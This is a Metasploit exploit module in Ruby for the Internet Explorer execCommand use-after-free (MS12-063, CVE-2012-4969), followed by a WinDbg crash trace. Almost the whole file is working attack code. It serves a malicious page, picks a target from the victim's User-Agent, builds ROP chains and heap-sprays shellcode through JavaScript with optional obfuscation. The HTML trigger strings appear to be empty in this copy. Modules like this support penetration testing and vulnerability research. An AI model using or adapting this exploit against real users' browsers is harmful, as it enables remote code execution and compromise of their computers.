## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "7.0", :ua_maxver => "9.0", :javascript => true, :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012. Also note that presently, this module has some target dependencies for the ROP chain to be valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default). For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which is often the case). }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # via ZDI 'eromang', # First public discovery 'binjo', 'sinn3r', # Metasploit 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2012-4969' ], [ 'OSVDB', '85532' ], [ 'MSB', 'MS12-063' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ], [ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ] ], 'Payload' => { 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ], [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ] ], 'Privileged' => false, 'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) vprint_status("Target selected as: #{t.name}") return t end end return nil end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") exec_size = code.length stack_pivot = [ 0x77c4e393, # RETN 0x77c4e392, # POP EAX # RETN 0x77c15ed5, # XCHG EAX, ESP # RETN ].pack("V*") rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) else print_status("Using JRE ROP") exec_size = 0xffffffff - code.length + 1 if t['Random'] stack_pivot = [ 0x0c0c0c0c, # 0c0c0c08 0x7c347f98, # RETN 0x7c347f97, # POP EDX # RETN 0x7c348b05 # XCHG EAX, ESP # RET ].pack("V*") else stack_pivot = [ 0x7c347f98, # RETN 0x7c347f97, # POP EDX # RETN 0x7c348b05 # XCHG EAX, ESP # RET ].pack("V*") end rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) end return rop_payload end # Spray published by corelanc0d3r # Exploit writing tutorial part 11 : Heap Spraying Demystified # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ def get_random_spray(t, js_code, js_nops) spray = <<-JS function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{t['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } JS return spray end def get_spray(t, js_code, js_nops) js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } JS end def load_html1(cli, my_target) p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) if my_target['Random'] js = get_random_spray(my_target, js_code, js_r_nops) else js = get_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end html = %Q| | return html end def load_html2 html = %Q|
a
| return html end def this_resource r = get_resource return ( r == '/') ? '' : r end def on_request_uri(cli, request) uri = request.uri agent = request.headers['User-Agent'] my_target = get_target(agent) vprint_status("Requesting: #{uri}") print_status(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported, sending a 404: #{agent.to_s}") send_not_found(cli) return end if uri =~ /#{@html2_name}/ print_status("Loading #{@html2_name}") html = load_html2 elsif uri =~ /#{@html1_name}/ print_status("Loading #{@html1_name}") html = load_html1(cli, my_target) elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/) print_status("Redirecting to #{@html1_name}") send_redirect(cli, "#{this_resource}/#{@html1_name}") return else send_not_found(cli) return end html = html.gsub(/^ {4}/, '') send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @html1_name = "#{Rex::Text.rand_text_alpha(5)}.html" @html2_name = "#{Rex::Text.rand_text_alpha(6)}.html" super end end =begin 0:008> r eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08 eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CMshtmlEd::Exec+0x134: 637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=???????? 0:008> u mshtml!CMshtmlEd::Exec+0x134: 637d464e 8b07 mov eax,dword ptr [edi] 637d4650 57 push edi 637d4651 ff5008 call dword ptr [eax+8] 0:008> k ChildEBP RetAddr 020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134 020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6 020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91 020bc298 638ee2a9 mshtml!CDocument::Exec+0x24 020bc2c0 638b167b mshtml!CBase::execCommand+0x50 020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93 020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149 020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1 020bc410 63643832 mshtml!CBase::InvokeEx+0x25 020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b 020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1 020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20 020bc520 633a6d37 mshtml!PlainInvokeEx+0xea 020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98 020bc690 633a77ff jscript!VAR::InvokeByName+0x135 020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce 020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989 =end